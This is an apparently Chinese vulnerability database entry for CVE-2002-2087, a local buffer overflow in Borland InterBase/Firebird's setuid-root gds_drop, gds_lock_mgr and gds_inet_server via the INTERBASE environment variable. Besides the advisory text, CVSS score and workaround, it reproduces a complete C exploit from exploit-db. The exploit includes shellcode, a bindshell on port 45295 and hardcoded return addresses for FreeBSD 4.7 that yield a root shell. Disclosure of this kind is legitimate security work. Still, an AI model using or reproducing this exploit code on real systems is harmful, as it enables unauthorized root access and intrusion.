CVE-2002-2087
CVSS4.6
发布时间 :2002-12-31 00:00:00
修订时间 :2008-09-05 16:32:17
NMCOE    

[原文]Buffer overflow in Borland InterBase 6.0 allows local users to execute arbitrary code via a long INTERBASE environment variable when calling (1) gds_drop, (2) gds_lock_mgr, or (3) gds_inet_server.


[CNNVD]Interbase GDS_Drop Interbase环境变量本地缓冲区溢出漏洞(CNNVD-200212-255)

        
        Interbase是一款由Borland公司开发和维护的数据库软件,可使用在多种Unix和Linux操作系统。
        Interbase中的GDS_Drop 程序在处理环境变量时缺少正确的边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        Interbase中的GDS_Drop 程序默认以suid root属性安装,程序在处理interbase环境变量时没有正确检查提交的数据长度,攻击者可以提交超长的字符串给interbase环境变量,执行GDS_Drop程序可产生缓冲区溢出,精心构建字符串数据可导致以root权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2087
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-2087
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-255
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/5046
(PATCH)  BID  5046
http://www.securityfocus.com/bid/5044
(UNKNOWN)  BID  5044
http://www.iss.net/security_center/static/9392.php
(UNKNOWN)  XF  interbase-interbase-variable-bo(9392)
http://cert.uni-stuttgart.de/archive/bugtraq/2002/06/msg00222.html
(VENDOR_ADVISORY)  BUGTRAQ  20020618 Interbase 6.0 malloc() issues

- 漏洞信息

Interbase GDS_Drop Interbase环境变量本地缓冲区溢出漏洞
中危 边界条件错误
2002-12-31 00:00:00 2006-09-20 00:00:00
本地  
        
        Interbase是一款由Borland公司开发和维护的数据库软件,可使用在多种Unix和Linux操作系统。
        Interbase中的GDS_Drop 程序在处理环境变量时缺少正确的边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        Interbase中的GDS_Drop 程序默认以suid root属性安装,程序在处理interbase环境变量时没有正确检查提交的数据长度,攻击者可以提交超长的字符串给interbase环境变量,执行GDS_Drop程序可产生缓冲区溢出,精心构建字符串数据可导致以root权限在系统上执行任意指令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 去除受影响程序的suid位。
        厂商补丁:
        Borland/Inprise
        ---------------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.interbase.com/

- 漏洞信息 (22580)

Firebird 1.0 GDS_Inet_Server Interbase Environment Variable Buffer Overflow Vulnerability (EDBID:22580)
freebsd local
2003-05-10 Verified
0 bob
N/A [点击下载]
source: http://www.securityfocus.com/bid/7546/info

Interbase is a database distributed and maintained by Borland. It is available for Unix and Linux operating systems. As Firebird is based on Borland/Inprise Interbase source code, it is very likely that Interbase is prone to this issue also.

A buffer overflow has been discovered in the setuid root program gds_inet_server, packaged with Firebird. This problem could allow a local user to execute the program with strings of arbitrary length. By using a custom crafted string, the attacker could overwrite stack memory, including the return address of a function, and potentially execute arbitrary code as root. 

/* DSR-olbird.c by bob@dtors.net
   -------------------------------

Same exploit as DSR-firebird.c apart from this version
exploits Firebird 1.0.0 which is shipped with freebsd.

[diif] ret addr && LEN [/diif]

bob@dtors.net
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LOCK    "/usr/local/firebird/bin/gds_lock_mgr"
#define DROP    "/usr/local/firebird/bin/gds_drop"
#define INET    "/usr/local/firebird/bin/gds_inet_server"
#define LEN     1032

char dropcode[]=
        "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" 
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
	  "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
	  "\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; 

char inetcode[]=
        "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" 
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
	  "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
	  "\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; 

                            

char lockcode[]= 
	"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
	"\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80"
	"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" //setuid[firebird] by bob
	"\x31\xc0\x31\xdb\x53\xb3\x06\x53" //fork() bindshell by eSDee
	"\xb3\x01\x53\xb3\x02\x53\x54\xb0"
	"\x61\xcd\x80\x89\xc7\x31\xc0\x50"
	"\x50\x50\x66\x68\xb0\xef\xb7\x02"
      "\x66\x53\x89\xe1\x31\xdb\xb3\x10"
      "\x53\x51\x57\x50\xb0\x68\xcd\x80"
      "\x31\xdb\x39\xc3\x74\x06\x31\xc0"
      "\xb0\x01\xcd\x80\x31\xc0\x50\x57"
      "\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
      "\xdb\x50\x89\xe1\xb3\x01\x53\x89"
      "\xe2\x50\x51\x52\xb3\x14\x53\x50"
      "\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
      "\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
      "\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
      "\x39\xc3\x75\x44\x31\xc0\x57\x50"
      "\xb0\x06\xcd\x80\x31\xc0\x50\x56"
      "\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
      "\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
      "\x80\x31\xc0\x43\x53\x56\x50\xb0"
      "\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
      "\x2f\x73\x68\x68\x2f\x62\x69\x6e"
      "\x89\xe3\x50\x54\x53\x50\xb0\x3b"
      "\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
      "\x31\xc0\x56\x50\xb0\x06\xcd\x80"
      "\xeb\x9a";

char *decide(char *string)
{
    if(!(strcmp(string, "1")))
      return((char *)&inetcode);
    if(!(strcmp(string, "2")))
      return((char *)&lockcode);
    if(!(strcmp(string, "3")))
      return((char *)&dropcode);
    exit(0);
}

int main(int argc, char **argv)
{
	
	unsigned long ret = 0xbfbff75d;
	  
	char *selectcode;
	char buffer[LEN];
	char egg[1024];
	char *ptr;
	int i=0;

  

	if(argc < 2)
	{
		printf("( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )\n"); 
		printf("( (                           by - bob@dtors.net ) )\n");
		printf("----------------------------------------------------\n\n");
		printf("Usage: %s <target#> \n", argv[0]);
		printf("Targets:\n");
		printf("1. [0xbfbff75c] - gds_inet_server\n");
		printf("2. [0xbfbff75d] - gds_lock_mgr\n");
		printf("3. [0xbfbff75e] - gds_drop\n");
		printf("\nwww.dtors.net\n");
		exit(0);
	}
  
	selectcode = (char *)decide(argv[1]);
  	memset(buffer, 0x41, sizeof(buffer));

        ptr = egg;

        for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90;
        for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode[i];
        egg[1024 - 1] = '\0';

        memcpy(egg,"EGG=",4);
        putenv(egg);

        memcpy(&buffer[1028],(char *)&ret,4);
        buffer[1032] = 0;

        setenv("INTERBASE", buffer, 1);

        fprintf(stdout, "Return Address: 0x%x\n", ret);
        fprintf(stdout, "Buffer Size: %d\n", LEN);
        fprintf(stdout, "Setuid [90]\n");

if(selectcode == (char *)&inetcode)
  {
	execl(INET, INET, NULL);
	return 0;
   }

if(selectcode == (char *)&lockcode)
  {
 	printf("\nShell is on port 45295\nExploit will hang!\n");
	execl(LOCK, LOCK, NULL);
	return 0;
   }

if(selectcode == (char *)&dropcode)
  {
	execl(DROP, DROP, NULL);
	return 0;
   }

	
	return 0;
}
		

- 漏洞信息

19750
Borland/Firebird Interbase gds_lock_mgr INTERBASE Variable Overflow
Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2002-06-17 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站